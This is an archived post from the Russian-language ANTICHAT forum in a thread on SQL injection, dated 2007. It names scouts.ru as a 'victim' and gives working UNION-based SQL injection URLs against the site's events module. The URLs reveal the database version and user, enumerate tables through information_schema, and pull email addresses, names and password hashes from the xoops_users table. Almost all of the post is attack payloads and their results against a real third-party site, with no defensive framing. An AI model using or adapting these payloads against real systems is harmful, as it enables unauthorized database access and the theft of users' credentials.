SQL Инъекции — ANTICHAT Forum

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

#11

25.05.2007, 09:36

V.I.P

Познающий

Регистрация: 06.04.2007

Сообщений: 77

Провел на форуме:
1062869

Репутация: 136

Отправить сообщение для V.I.P с помощью ICQ

Жертва: www.scouts.ru(Центральный Сервер
Скаутов-разведчиков)

SQL:

PHP код:


		
			
http://www.scouts.ru/modules/events/event.php?id=47999999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--

version(): 5.0.26-standard
user(): orur@localhost
database() :xoops

Таблиц: 589

PHP код:


		
			
http://www.scouts.ru/modules/events/event.php?id=479999999999+union+select+1,2,3,4,5,table_name,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+information_schema.tables+limit+589,1--

Основные:xoops_users

Количество юзеров:1096
Извлечение:
Mail: name: pass(хеш).

PHP код:


		
			
http://www.scouts.ru/modules/events/event.php?id=479999999999+union+select+1,2,3,4,5,concat_ws(char(58),email,name,pass),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+xoops_users+limit+1096,1--

Последний раз редактировалось V.I.P; 25.05.2007 в 10:33..